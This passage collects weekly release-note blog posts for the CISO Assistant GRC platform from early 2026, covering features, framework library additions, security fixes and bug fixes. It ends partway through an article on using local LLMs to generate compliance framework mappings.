(v3.14.1). - Croatian translation updated (v3.14.1). - Disappearing labels on update resolved (v3.14.1). - EvidenceRevision attachment field updated and backup-restore process improved (v3.14.1). - Migration issue in main branch fixed (v3.14.1). --- For the full list of changes, see the [v3.14.1 – v3.14.4 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 10, 2026 (v3.13.5 – v3.14.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w10 Published: 2026-03-15 Author: intuitem Week 10 wraps up the v3.13 series and opens v3.14 with a focus on administrative control, better navigation, and regulatory alignment. Three releases land this week, capped by the v3.14.0 milestone. ## Administration & Governance **Default language with enforcement** (v3.13.5) — Administrators can now set a default UI language for the organisation and optionally force it on all users. This is particularly useful for regulated environments where audit documentation must be generated in a specific language. **Expanded currency support** (v3.13.5) — The list of supported currencies has been broadened, and the currency-management interface has been improved, making it easier to work with cost data across international teams. **Enforced MFA now excludes SSO users** (v3.13.6) — When MFA enforcement is enabled, users who authenticate via SSO are correctly excluded, since their identity provider already handles second-factor requirements. ## Navigation & UX **Folder selection everywhere** (v3.13.6) — Folder selection and search capabilities have been extended to all folder fields across the application, not just the main navigation tree. This makes reorganising and filtering content significantly faster. **Journey feature flags** (v3.13.5) — Users can now toggle feature flags on and off directly within Journeys, giving more control over which guided steps are active without requiring admin intervention. **Related models tab in detail views** (v3.13.5) — Detail pages now include a dedicated tab listing all related models, making it easier to understand how an object connects to the rest of the GRC landscape. **Tasks on domain details** (v3.13.5) — The domain detail view now surfaces associated tasks, so project managers can see outstanding work without navigating away. **Ref ID in audit action plans** (v3.13.5) — Reference IDs are now visible in audit action plans, improving traceability between action items and their source requirements. ## Framework & Library Updates - **ANS CARE domaine 2** (v3.14.0) — Contributed by **@lulustucru-dsn** (welcome!). Adds the template for the second domain of the French ANS CARE framework. ## Customisation **Custom email and report templates** (v3.14.0, Pro) — Organisations can now customise the templates used for notification emails and Word report exports, enabling branded communications and reports that match internal formatting standards. ## Data Wizard **Enhanced security and recovery objectives parsing** (v3.14.0) — The AssetRecordConsumer in the data wizard now handles security and recovery objectives more robustly, reducing import errors when dealing with complex asset inventories. **Lazy mode adapts to dataset size** (v3.14.0) — The lazy-loading mode introduced in v3.13.x now activates only on large datasets, avoiding unnecessary overhead on smaller deployments where eagerly loading data is fast enough. ## DORA Compliance **ROI export aligned with 4.0 specs** (v3.14.0) — The Register of Information export has been updated to match the DORA 4.0 specification format and now supports NBB-compliant exports for Belgian-supervised entities. ## Bug Fixes - "About" then "Quick Start" navigation no longer fails (v3.13.5). - Invalid DOM error in tree-map chart component resolved (v3.13.5). - Defensive guards added to analytics to prevent crashes on edge-case data (v3.13.5). - Lazy autocomplete-select no longer deactivates when used as a unique input (v3.13.5). - EBIOS RM radar chart layout corrected (v3.13.6). - Colliding Journeys on the same folder are now handled gracefully (v3.13.6). - BIA threshold display fixed when all values are zero (v3.13.6). - Missing space between implementation-group badges in requirement assessments restored (v3.13.6). - Duplication and redirection issues on risk assessments resolved (v3.14.0). - Minor inconsistency between audit and risk-assessment action plans corrected (v3.14.0). --- For the full list of changes, see the [v3.13.5 – v3.14.0 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 09, 2026 (v3.13.0 – v3.13.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w09 Published: 2026-03-08 Author: intuitem Five releases make Week 09 one of the densest of the year so far. The highlights include enforced MFA for organisations with strict authentication policies, a completely new advanced analytics page for audits, an interactive EBIOS RM graph editor, and a guided onboarding experience through presets and journeys. ## Security & Authentication **Admin-enforced MFA** (v3.13.0) — Administrators can now require all users to set up multi-factor authentication. Combined with the MFA redirect fix in v3.13.4 (which now works correctly across both layouts), this gives security teams a straightforward way to raise the authentication baseline across the organisation. **Hardened Excel formula escaping** (v3.13.2) — The `escape_excel_formula` utility has been strengthened to prevent CSV/Excel injection attacks when exporting data. A companion CI policy check now guards against template injection at the code level. **RBAC fixes** — Two privilege-escalation paths were closed: a bypass in the task-template calendar endpoint (v3.13.1) and another on the `get_controls_info` function (v3.13.2). Deletion of built-in user groups via API is also now blocked (v3.13.0). **OIDC email fallback** (v3.13.2) — When the identity provider does not return an `email` claim, CISO Assistant now falls back to `preferred_username` or `upn`, improving compatibility with Azure AD and other enterprise IdPs. ## Advanced Analytics **Audit analytics page** (v3.13.0) — A brand-new analytics view gives auditors a high-level picture of audit progress and compliance posture, replacing the need to manually aggregate data across requirement assessments. **Radar chart for section scores** (v3.13.2) — The advanced analytics page now renders per-section scores as a radar chart, making it easy to spot weak areas at a glance. ## EBIOS RM **Interactive operating-mode graph editor** (v3.13.2) — The EBIOS Risk Manager workflow gains a visual, interactive graph for editing operating modes. This is a significant usability leap over the previous form-based approach and makes it much easier to model complex attack paths. ## Onboarding & UX **Presets and journeys** (v3.13.2) — New users can now choose from curated presets that pre-configure a workspace for common compliance goals (e.g., NIS2, ISO 27001). Journeys guide users step-by-step through the initial setup, dramatically reducing time-to-value. **Focus Mode improvements** (v3.13.0) — The folder list in Focus Mode is now searchable and sorted alphabetically, a small but welcome quality-of-life change for users managing many folders. **Cleaner audit toolbox** (v3.13.1) — The audit toolbox layout has been tidied up, and v3.13.2 adds visual refinements to the flash-mode view along with inline observation support. **Auditor/respondent workflow and notifications** (v3.13.1) — Auditors and respondents now receive targeted notifications at each stage of the assessment lifecycle, and comments on individual requirement assessments are fully supported. **Team management** (v3.13.4) — The team-leader field is now optional, giving more flexibility when setting up cross-functional teams. ## Performance **Lazy loading for autocomplete fields** (v3.13.0, v3.13.2) — Asset-based autocomplete fields now load data on demand instead of fetching everything upfront. This was extended in v3.13.2 to cover all asset-based fields, noticeably improving page-load times in environments with large asset inventories. **Faster demo data loading** (v3.13.2) — The demo-data import has been optimised, cutting setup time for evaluation and training environments. ## Framework & Library Updates - **ANSSI MonAideCyber Questionnaire v2** (v3.13.1) — Updated to the latest version of the ANSSI self-assessment questionnaire. - **ITSP.10.171 — Canadian Centre for Cyber Security** (v3.13.2) — Added by community contributor **@tarkadia**, available in both French and English. - **CISA Cybersecurity Performance Goals 2.0 (CPG 2.0)** (v3.13.2) — The latest edition of CISA's cross-sector performance goals. - **PCI-DSS v4.0.1** (v3.13.2) — Updated in both English and French. - **CMMC v2** (v3.13.2) — Removed a blank question that was causing confusion in assessments. - **ISO objectives management** (v3.13.4) — Improved handling of ISO-standard objectives. ## Deployment & Infrastructure **AWS Web Identity Token and S3 region support** (v3.13.2) — Contributed by **@tajpouria**. Deployments using AWS S3 for object storage can now authenticate via web identity tokens and specify a region, enabling cleaner IAM role integration in EKS and similar environments. **PostgreSQL SSL connections** (v3.13.2) — Contributed by **@scottmckenzie** (welcome!). CISO Assistant can now connect to PostgreSQL over SSL, a requirement for many managed database services. **AWS_LOCATION for object storage** (v3.13.2) — A new environment variable lets operators customise the storage path prefix in S3-compatible backends. ## Community Contributions A warm welcome to two new contributors this week: - **@scottmckenzie** — PostgreSQL SSL support - **@CPAtoCybersecurity** — Owner field support in the Applied Controls bulk-import wizard (v3.13.4) ## Bug Fixes - DORA RoI export now aligns with EBA validation rules, includes correct taxonomy codes and parent LEI, and excludes draft contracts (v3.13.0, v3.13.2). - Autocomplete-select highlighting for suggested items works correctly again (v3.13.0). - Risk-scenario assignment notifications are now sent reliably (v3.13.1). - Only visible navigation items appear in the command palette (v3.13.1). - Date formatting respects the user's locale (v3.13.2). - Matrix tooltip regression resolved (v3.13.2). - Business impact analysis is now supported in the data wizard (v3.13.2). - Missing translations and EBIOS shortcut positioning fixed (v3.13.4). --- For the full list of changes, see the [v3.13.0 – v3.13.4 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 08, 2026 (v3.12.5 – v3.12.7) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w08 Published: 2026-03-01 Author: intuitem Three releases close out February, headlined by the new ITIL 4 library, broader validation coverage, and a long list of stability improvements across notifications, exports, and IAM. ## New Features **Expanded validation coverage** (v3.12.6) — Validations now extend to processings, exceptions, accreditations, and contracts. If your organisation uses approval workflows, these object types can now participate in the same review-and-sign-off process as existing entities. **Applied controls on the evidences table** (v3.12.5) — The evidences list now shows which applied controls each piece of evidence supports, making it easier to verify coverage without drilling into individual records. **Stakeholder names on charts** (v3.12.5) — Charts that reference stakeholders now render their names directly, replacing opaque identifiers with human-readable labels. **M2M visibility check in serializer** (v3.12.6) — Many-to-many relationships now respect object-visibility rules at the serializer level, closing a gap where related objects could leak across permission boundaries. ## Framework & Library Updates - **ITIL 4 Management Practices** — Added by community contributor **@Qnadia**. Covers all 34 ITIL 4 management practices, making it easy to map your IT service management controls against the ITIL body of knowledge. - **CyFun 2025 reference-ID fix** — Corrected reference IDs that were misaligned in the initial CyFun 2025 import. ## Deployment & Infrastructure **Optional Kubernetes ServiceAccount with annotations** (v3.12.5) — Contributed by **@tajpouria** (welcome!). Helm chart users can now enable a dedicated ServiceAccount and attach annotations — useful for IAM-role bindings on AWS EKS, GCP Workload Identity, or Azure AD pod identity. **Skeleton UI v4 migration** (v3.12.5) — The front-end component library has been upgraded to Skeleton UI v4, bringing improved accessibility and performance. This is an internal change, but theme or plugin authors should review the Skeleton v4 migration guide. ## Bug Fixes & Stability This week is heavy on fixes — v3.12.6 alone ships over a dozen: **Exports & Reports** - DORA RoI export now aligns with the official EBA XLS Master Template. - Audit zip-export filenames are sanitised to prevent issues with special characters. - The export feature has been restored after temporarily removing a Popover component that was interfering with it. - Actor information in incident PDF reports is now handled correctly. **Notifications** - Multiple improvements to notification delivery and consistency. - Email notification settings are now applied consistently across all channels. **IAM & Authentication** - IAM group-creation logic has been corrected. - Session expiry with allAuth now properly redirects to the login page instead of showing an error. - MFA redirect no longer interferes with the authentication flow (v3.12.7). - Labels read-permission is now granted to the reader profile. **Data Integrity** - Domain export/import correctly handles terminologies. - Markdown field values are preserved when submitting a form in preview mode. - Search state is maintained when selecting objects in the ModelTable. - Finding labels within a follow-up now display the correct text. - Operating-mode kill-chain updates work as expected. - Task-node due-date changes are saved reliably. **TPRM** - Multiple improvements to solutions management in the third-party risk module. --- For the full list of changes, see the [v3.12.5 – v3.12.7 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 07, 2026 (v3.12.1 – v3.12.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w07 Published: 2026-02-22 Author: intuitem Four incremental releases this week focus on deepening the risk and findings model, polishing the assessment workflow, and improving the AI-assisted MCP experience. ## New Features **Many-to-many findings-to-threats relationship** (v3.12.1) — Findings can now be linked to multiple threats, and vice versa. This makes it much easier to trace a single finding back to every threat scenario it is relevant to, or to see all findings associated with a given threat. **Generalised "pick existing" pattern** (v3.12.1) — The UX pattern for selecting an existing object (instead of creating a new one) has been extended across the application. Anywhere you previously had to create a new record, you can now search for and attach an existing one — reducing duplication and improving data consistency. **Labels and qualifications filter on risk scenarios** (v3.12.4) — Risk scenario lists can now be filtered by label and qualification, making it faster to zoom in on the scenarios that matter for a particular review or report. **Findings assessment progress** (v3.12.1) — Findings assessments now show a progress indicator, giving you an at-a-glance view of how much work remains. **Requirement node implementation-group updates** (v3.12.2) — You can now update the implementation group of individual requirement nodes, giving auditors finer control over scoping after an audit has been created. **Respondent mode lock management** (v3.12.2) — When respondent mode is active, locking behaviour is now handled correctly, and progress tracking is honoured when enabled. **Campaign feature flag** (v3.12.4) — Campaigns can now be toggled on or off via a feature flag, letting organisations that do not use them keep the interface uncluttered. ## MCP & AI Integration **Better MCP context management** (v3.12.3) — When working with a large number of audits, the MCP context payload is now more efficient, and audit updates through the MCP channel are more reliable. ## Framework & Library Updates - **Moroccan Law 05-20 to ISO 27001:2022 bidirectional mapping** — Community contributor **@Qnadia** continues to expand Moroccan compliance coverage with a reverse mapping, completing the round-trip between the two frameworks. ## UX Improvements - **Incident labels and formatting** — Incidents now support labels and have improved visual formatting. - **Clickable table links** — Links inside table cells are now independently clickable without triggering navigation to the row's detail page. - **Compact yearly task review** — The yearly tasks view uses a more compact layout, fitting more information on screen. - **Unreachable-object error messaging** — `loadDetail` now checks reachability and surfaces a clear error when an object cannot be accessed, instead of failing silently. - **Conflict management strategy (Pro)** (v3.12.4) — The generalised conflict strategy from the data wizard is now available on more import paths. ## Bug Fixes - Missing translation handling for risk levels and requirement fields has been addressed across multiple locales. - The progress select control is now visible on standard requirement-assessment views (v3.12.3). - Metric-instance staleness checks work correctly, preventing stale data from lingering in dashboards. - IAM enforcement has been tightened on multiple API paths. - The perimeter-enable condition now evaluates correctly in edge cases. - Audit page loading time has been improved (v3.12.2). --- For the full list of changes, see the [v3.12.1 – v3.12.4 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 06, 2026 (v3.11.3 – v3.12.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w06 Published: 2026-02-15 Author: intuitem This week brings four releases capped by v3.12.0, which introduces two long-requested epic features. If you are on v3.11.4 or earlier, pay special attention to v3.11.5 — it contains a critical fix to prevent potential data conflicts during requirement assessments. ## Epic Features in v3.12.0 **Batch actions on tables** — You can now select multiple rows in any model table and apply actions in bulk: change status, assign owners, export, or delete. This dramatically speeds up day-to-day housekeeping on large compliance programmes. **Partial requirement assignments** — Requirements within an audit can now be individually assigned to a specific user or team. This means you no longer need to assign an entire audit to one person; workload can be split at the requirement level. ## New Features **Save and Next on requirement assessments** (v3.11.4) — A new button lets you save the current requirement and immediately advance to the next one, cutting the number of clicks during large assessment campaigns. **BIA risk-matrix change** (v3.11.5) — You can now swap the risk matrix used by a Business Impact Analysis after creation, giving you more flexibility as your methodology evolves. **Available-update indicator** (v3.11.5) — Frameworks used in audits now show an icon when an updated version is available in the library, so you know when it is time to refresh. **Serializer-level access control** (v3.12.0) — Access checks are now enforced at the API serializer layer, adding defence in depth on top of existing view-level permissions. ## Framework & Library Updates - **Moroccan cybersecurity law** — Added by community contributor **@Qnadia**. Includes the framework itself plus an **ISO/IEC 27001:2022 to Moroccan Law 05-20** mapping and a reverse **DNSSI 2023** mapping. - **CyFun 2025** — Reference controls have been added to the CyFun2025 framework. ## UX Improvements - **Sticky form buttons and AppBar** (v3.11.5) — Form action buttons and the top navigation bar now stay visible as you scroll, eliminating the need to scroll back up to save. - **Better custom-library guidance** — The upload flow now includes clearer styling and step-by-step guidance. - **Task-template email links** — Assignment notification emails now include a direct link to the task template. - **Improved domain explore spacing** — The domains explore view has tighter, cleaner spacing. - **Better default task filters** (v3.12.0) — Task lists now default to more useful filter presets. - **More reverse links on domains** and removal of redundant titles improve navigation. ## Bug Fixes & Data Integrity - **Critical: layout reset on Save and Next** (v3.11.5) — A forced layout reset now prevents requirement-assessment data from being accidentally overwritten when using Save and Next. Upgrade to v3.11.5 if you use this workflow. - **Stored library deletion on update** (v3.11.5) — Previously, updating a stored library could leave orphaned data; this is now cleaned up automatically. - **TOTP/PAT 500 error** — The Two-Factor and Personal Access Token configuration page no longer returns a server error. - Suggest-controls now follows implementation groups and the sync-to-action pipeline is faster. - Third-party mailing through an actor works correctly again. - Graph rendering for kill-chain and strategic scenarios has been fixed. - The TPRM overview page no longer crashes. ## Performance - **Analytics (home page) performance** (v3.11.5) — Dashboard queries have been optimised, resulting in noticeably faster home-page loads on large datasets. --- For the full list of changes, see the [v3.11.3 – v3.12.0 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 05, 2026 (v3.10.5 – v3.11.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w05 Published: 2026-02-08 Author: intuitem Four releases landed this week, spanning a breaking data-import overhaul in v3.10.5 through a feature-dense v3.11.2 that also ships the Django 6 migration. Here is what matters most. ## Breaking Changes Two changes in v3.10.5 deserve attention before you upgrade: - **Excel library import** — Libraries can now be imported directly from Excel workbooks. This is a breaking change to the import flow; existing JSON-only workflows will need to be updated. - **Perimeters are now optional** — Perimeters no longer need to be defined to use the platform. This simplifies initial setup for smaller organisations but may affect automations that assumed a perimeter was always present. ## New Features **CLI object import & data-wizard refactor** — The CLI now supports bulk object import, and the data wizard behind it has been significantly reworked for reliability and extensibility. In v3.11.2, the wizard gained even more object types, the ability to import risk-scenario treatments, and a user-selectable conflict-resolution strategy (Pro) — choose whether incoming data overwrites, skips, or merges with existing records. **Evidence metrics & observation support** — Evidences can now carry quantitative metrics and observation notes on metric samples, laying the groundwork for trend tracking and automated compliance health dashboards. **Issue management fields** — New fields on issues make it easier to track ownership, deadlines, and resolution status without leaving CISO Assistant. ## Framework & Library Updates - **RBI Master Direction, 2023** — Added by community contributor **@raghibawan** (welcome!). The Reserve Bank of India framework is available alongside a companion RBI library. - **CIS & CCM converters** — Both benchmarks now have v2-format converters, making it easier to keep them up to date as new versions are published. ## Internationalisation - A placeholder has been added to support **Lithuanian**, paving the way for full translation coverage. ## UX Improvements - **Unified card styles** — Visual inconsistencies between the model table and other pages have been ironed out. - **Compliance recap placeholder** — When no audits are visible, the compliance recap now shows a helpful empty state instead of a blank area. - **Confirm-modal styling** — All confirmation dialogs follow a single design pattern. - **Demo-data loading feedback** — The spinner now tells you that demo data is being loaded, so you know the app has not frozen. - **Better error messages** on custom library uploads surface the root cause faster. ## Bug Fixes - Recovery objectives now align correctly when the objective value is unset. - Folder-level metrics update properly on control or incident changes. - Empty or zero target values no longer cause division errors. - Reference-control string overrides are preserved so translations are honoured. - Entity-relationship visibility constraints are correctly enforced. - Risk tolerance reset now works cleanly and inherent risks are included in CRQ calculations. - Audit progress is calculated based on implementation groups, not raw requirement counts. - Registration emails are sent when SSO is forced for representatives. - Missing recovery objectives in the BIA report have been restored. - The `get_accessible_folder_ids` check no longer skips folder-object validation. ## Infrastructure - **Django 6 migration** — The backend has moved to Django 6. This is a significant dependency upgrade; review your custom middleware or extensions for compatibility. --- For the full list of changes, see the [v3.10.5 – v3.11.2 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 04, 2026 (v3.10.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w04 Published: 2026-02-01 Author: intuitem Version 3.10.4 wraps up January with meaningful improvements to the GDPR module, audit scoring flexibility, and day-to-day UX polish. ## GDPR Module Overhaul The GDPR module received multiple improvements and simplifications in this release. Notably: - **More granular feature flags** — You can now toggle individual GDPR capabilities on or off with finer control, making it easier to adopt only the parts your organisation needs. - **Purposes and personal data creation** no longer requires broad global permissions, lowering the barrier for teams that manage data-protection records without full admin access. - **Breaking change:** Some legal basis values that were incorrectly defined have been corrected and reset. If you had records referencing those values, they will need to be re-selected after the upgrade. Review the release notes for the specific fields affected before upgrading production. ## New Features **Audit score aggregation choice** — When rolling up scores across an audit, you can now choose between **Sum** and **Average** aggregation. This gives you the flexibility to align scoring with your organisation's methodology — Sum rewards breadth of coverage, while Average normalises across varying numbers of requirements. **Manager review of other users' assignments (Pro)** — Managers can now view and review assignments belonging to other users on their team, improving oversight without requiring admin-level privileges. **Browser tab titles** — Each page now sets a meaningful tab title, so you can finally tell your dozen open CISO Assistant tabs apart. ## Framework & Library Updates - **BIO2** — The Baseline Informatiebeveiliging Overheid v2 framework is now available, covering Dutch government information security requirements. ## Bug Fixes - **Extended-result auto-flip edge case** — Fixed a scenario where the result value could flip unexpectedly when the extended-result toggle was enabled. - **Actor emails in audit Word export** — Actor email addresses are now correctly unpacked when generating Word documents for audits, preventing malformed contact fields in exported reports. --- For the full list of changes, see the [v3.10.4 release on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 03, 2026 (v3.10.0 – v3.10.3) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w03 Published: 2026-01-25 Author: intuitem This was a big week. Four releases — v3.10.0 through v3.10.3 — shipped in rapid succession, delivering one of the most feature-rich sprints in CISO Assistant's history. Here is everything that matters. ## Major: Actors The headline feature of the 3.10 series is **Actors** — a new first-class concept that decouples the "who is responsible" question from user accounts. Actors can represent people, teams, vendors, or any party that plays a role in your GRC processes, whether or not they have a login. Existing relations such as risk owners and control assignees have been migrated to reference Actors rather than Users (v3.10.1), and a toggle lets you decide whether entities remain visible in the actors list. This is a **breaking change** at the data-model level: if you have integrations that rely on user-based ownership fields, review the migration notes before upgrading. ## AI & MCP Server The built-in MCP (Model Context Protocol) server received a wave of enhancements: - **TPRM object support** — Third-Party Risk Management objects can now be queried and managed through the MCP interface. - **EBIOS RM support** — EBIOS Risk Manager objects are also exposed, letting AI assistants reason over feared events, attack paths, and operational scenarios. - **Bootstrap skill** — A new Claude skill walks you through setting up a fresh CISO Assistant instance by asking a handful of questions and pre-populating the workspace. - **Basic risk-assessment skill** — Another skill helps draft an initial risk assessment, with fixes for ambiguity in object resolution. ## Framework & Library Updates - **Microsoft Cloud Security Benchmark** added to the library. - **ISO 27001 Chinese translation** now available. - **DORA ↔ FINMA 2023/01 mapping** contributed by **@votrepresencedigitale** — welcome as a new contributor! - **CIS Controls v8 mapping tools** for both **NIST CSF 2.0 + ISO 27001:2022** and **NIST 800-53 Rev. 5** (v3.10.2). ## UX & Workflow Improvements - **Revamped Data Wizard and Libraries pages** — Cleaner layout, faster navigation. - **Quick filters on the libraries list** — Filter by available mappings or by libraries that have updates waiting. - **Kanban view for Applied Controls** — Drag-and-drop your controls across status columns, with full respect for any active table filters (v3.10.3). - **Domain focus mode** — Collapse the scope to a single domain and work distraction-free (v3.10.3). - **Domain is now changeable** on all object forms, so you can reorganise without recreating records (v3.10.3). - **Authors and reviewers** are now displayed directly in detail views. - **Delete option in the standard context menu** — One less click to remove an object. - **Flash-mode inherits table filters** — Propagated filters from the applied-controls table carry over into flash-mode editing. ## Assignments & Collaboration - **My Assignments page** now surfaces team-related assignments alongside personal ones (v3.10.2). - **Notifications for expiring evidences** — Get alerted on the day an evidence expires, so nothing silently lapses. ## EBIOS RM - **Excel export/import (beta)** — You can now round-trip EBIOS RM data through Excel for offline collaboration or review. - **Improved ARM import** — Additional edge cases are handled when importing Attack Reference Models. ## Performance & Backend - **IAM caching** — A new cache layer for identity and access management cuts redundant lookups (v3.10.2). - **Optimized validation workflows** — Less overhead when processing approval chains (v3.10.2). - **WAL enabled on SQLite** — Write-Ahead Logging is now turned on by default for SQLite backends, improving concurrent write performance and resilience (v3.10.3). ## Security & Permissions - **RBAC check on target folder** before allowing object moves, closing a gap where a user could move an object into a folder they shouldn't have write access to. - **Sidebar display fix for custom roles** — Users with non-standard role configurations no longer see broken or missing navigation items (v3.10.3). ## Bug Fixes - **Implementation-group filtering on applied controls** now correctly applies to audit scope (v3.10.2). - **Incidents with duplicate names** are allowed when they belong to the same domain but carry different reference IDs (v3.10.2). - **Trailing line-break removed** from Markdown rendering (v3.10.3). - Removed stale `owner` relationship from the FindingsAssessment model (v3.10.3). ## CLI **`clica` full backup/restore** — A new CLI command lets you perform a complete backup and restore of your CISO Assistant instance from the terminal, useful for migration scripts and disaster-recovery runbooks. --- For the full list of changes across all four releases, see the [releases page on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 02, 2026 (v3.9.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w02 Published: 2026-01-11 Author: intuitem Version 3.9.2 is here with fresh framework content, expanded internationalization, and several community-driven improvements. ## Framework & Library Updates - **Estonian E-ITS framework** — CISO Assistant now supports the Estonian Information Security Standard (E-ITS), widening coverage for organizations operating under Baltic and EU regulatory expectations. - **MITRE ATT&CK v18.1** — The threat library has been updated to the latest ATT&CK release, keeping your threat-informed assessments current. ## Internationalization - **Chinese (Simplified)** is now available as a UI language, joining the growing roster of supported locales. - Missing **Italian** strings have been filled in, and a **Spanish** translation has been added for the policy documentation template. ## New Features **Richer asset exports and views** — Assets now expose additional fields in both the list view and Excel/CSV exports, giving you more context without needing to open each record individually. A big thanks to **@StefanFl** for this contribution — welcome as a new contributor! **Enclave toggle on the organisation tree** — You can now choose whether enclaves appear in the organisation tree view. This is handy for keeping the hierarchy clean when enclaves are managed separately or simply not relevant to the current task. ## Bug Fixes & Improvements - **Better reverse-link handling on Policies** — Navigating from a policy back to the objects that reference it is now more reliable, especially in complex folder structures. - **IdP multi-email guardrail** — If your identity provider sends multiple email addresses in a single assertion, CISO Assistant now handles this gracefully instead of failing during social-account linking. - **Sanitized task names in XLSX export** — Task names containing characters invalid for Excel sheet names are now cleaned up automatically, preventing broken exports. --- For the full list of changes, see the [v3.9.2 release on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 01, 2026 (v3.9.1) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w01 Published: 2026-01-04 Author: intuitem Happy New Year! CISO Assistant v3.9.1 lands in the first week of 2026 with a focused set of security and performance improvements. ## Security & Authentication **Session revocation after 2FA enrollment** — Previously, enabling two-factor authentication on your account did not invalidate existing sessions. This meant that an attacker who had already compromised a session could keep using it even after you strengthened your login. Starting with v3.9.1, all active sessions are revoked the moment 2FA is enabled, forcing every device to re-authenticate with the new second factor. Additional improvements have also been made to the Identity & Access Management (IAM) subsystem, tightening internal guardrails around user and permission handling. ## UX Improvements **Extended result donut respects implementation groups** — The compliance donut chart in extended-result mode now correctly follows the selected implementation group, so the visual summary matches the filtered scope you are actually reviewing. This is particularly useful for frameworks like CIS Controls where implementation groups define progressive maturity tiers. ## Performance **Faster audits** — Audit loading and rendering received targeted performance work, reducing wait times when opening or navigating large compliance audits. ## Quality & Testing A new CI/CD test has been added to validate the enterprise backup/restore workflow inside the community edition, ensuring that data portability remains reliable across releases. --- For the full list of changes, see the [v3.9.1 release on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### AI-Assisted mapping generation URL: https://intuitem.com/ai-assisted-mapping Published: 2025-10-25 Author: Abderrahmane Smimite ## Introduction: Building on Our Framework Mapping Foundation Last year, we introduced the capability to map your compliance data from one framework to another in CISO Assistant. This feature allowed organizations to reuse their compliance work across multiple frameworks—applying a control implemented for ISO 27001 to satisfy SOC 2 requirements, for example. We also shipped a toolbox to customize and create your own mappings, enabling teams to cover custom frameworks or refine existing crosswalks to match their specific organizational needs. While these capabilities were powerful, they still required **significant time and effort** from compliance experts. Creating a comprehensive mapping between two frameworks meant manually analyzing hundreds or thousands of requirement pairs, understanding their semantic relationships, and documenting the rationale. For organizations working with multiple frameworks, or for us maintaining mappings across the 100+ frameworks in our library, this manual approach simply didn't scale. This led us to ask: **Could AI help us accelerate the framework mapping creation process while maintaining quality?** This article chronicles our journey exploring different AI approaches to automate mapping generation—from LLM-based semantic analysis to embedding-based similarity matching—and the practical tooling we built to make AI-assisted framework mapping a reality. ## The Problem: The Framework Mapping Challenge In the world of cybersecurity governance, risk, and compliance (GRC), organizations rarely operate under a single framework. A typical enterprise might need to demonstrate compliance with ISO 27001 for international credibility, SOC 2 for customer assurance, NIST CSF for cybersecurity maturity, and various industry-specific frameworks depending on their sector. This creates an immediate challenge: **how do requirements across these frameworks relate to each other?** Understanding these relationships—called "framework mapping"—is crucial for: - **Efficiency**: Implementing one control that satisfies multiple framework requirements - **Coverage Analysis**: Identifying gaps where one framework requires something another doesn't - **Compliance Reuse**: Leveraging existing compliance work when adopting new frameworks - **Strategic Planning**: Understanding the overlap and delta when moving between frameworks ### The Manual Mapping Problem Traditionally, framework mapping is done manually by compliance experts who: 1. Read each requirement in the source framework 2. Understand its intent and scope 3. Search through the target framework for related requirements 4. Determine the type and strength of relationship 5. Document the mapping with justification For two frameworks with 100 requirements each, this means 10,000 pairwise comparisons. At 2-3 minutes per comparison, we're looking at 300-500 hours of expert time—and that's for just one framework pair. With 100+ frameworks in the CISO Assistant library, comprehensive mapping would require tens of thousands of expert-hours. Beyond time, manual mapping suffers from: - **Inconsistency**: Different experts interpret relationships differently - **Incompleteness**: Easy to miss non-obvious connections - **Non-reproducibility**: Hard to validate or update as frameworks evolve - **Cognitive fatigue**: Quality degrades over long sessions The question became: **Can we use AI to accelerate this process while maintaining quality?** ## Our Journey: Exploring Different Approaches We explored three main approaches to automated framework mapping, each with distinct trade-offs. ### Approach 1: LLM-Based Semantic Mapping **The Hypothesis**: Large language models have been trained on vast amounts of text, including security and compliance documentation. They should be able to understand semantic relationships between requirements and provide human-like reasoning about their connections. **Implementation**: We built `semantic_mapper.py` using local Ollama models to: 1. **Parse frameworks** from YAML files, extracting all assessable requirements 2. **Build rich context** by combining each requirement with its parent/grandparent context (e.g., "Identify > Asset Management > Hardware Assets" provides better context than just "Hardware Assets") 3. **Perform semantic comparison** by prompting the LLM to compare each source requirement against all target requirements 4. **Classify relationships** into three types: - `equal`: Same topic/requirement with equivalent scope - `intersect`: Related but not entirely equivalent - `no_relationship`: Different topics with no overlap 5. **Generate explanations** for each relationship with confidence scores **Key Features**: - **Checkpoint/resume**: Long-running jobs can be interrupted and resumed - **Top-N matching**: Find multiple related requirements, not just the best one - **Threshold filtering**: Only keep high-confidence matches - **Model flexibility**: Compare results from different LLMs (mistral, llama3, phi3, etc.) - **Connection pooling and model keep-alive**: Optimized for faster inference **Strengths**: - ✅ Natural language explanations that humans can review - ✅ Nuanced understanding of context and intent - ✅ Flexibility in interpretation (can understand implied relationships) - ✅ Can compare results from multiple models for validation **Weaknesses**: - ❌ **Extremely slow**: Performance varies drastically based on model size and hardware - Even on high-end hardware (M4 Mac), processing took **~30 hours** for real-world framework pairs - Some benchmark runs took **3+ days** to complete - For large frameworks (500+ requirements), multiply these times by 5-10x - ❌ **Quality-speed paradox**: Longer runtime doesn't guarantee better results—some multi-day runs produced poor mappings - ❌ Non-deterministic (same input may produce slightly different outputs) - ❌ Requires local Ollama server and model downloads (multi-GB) - ❌ Occasional JSON parsing errors from LLM responses - 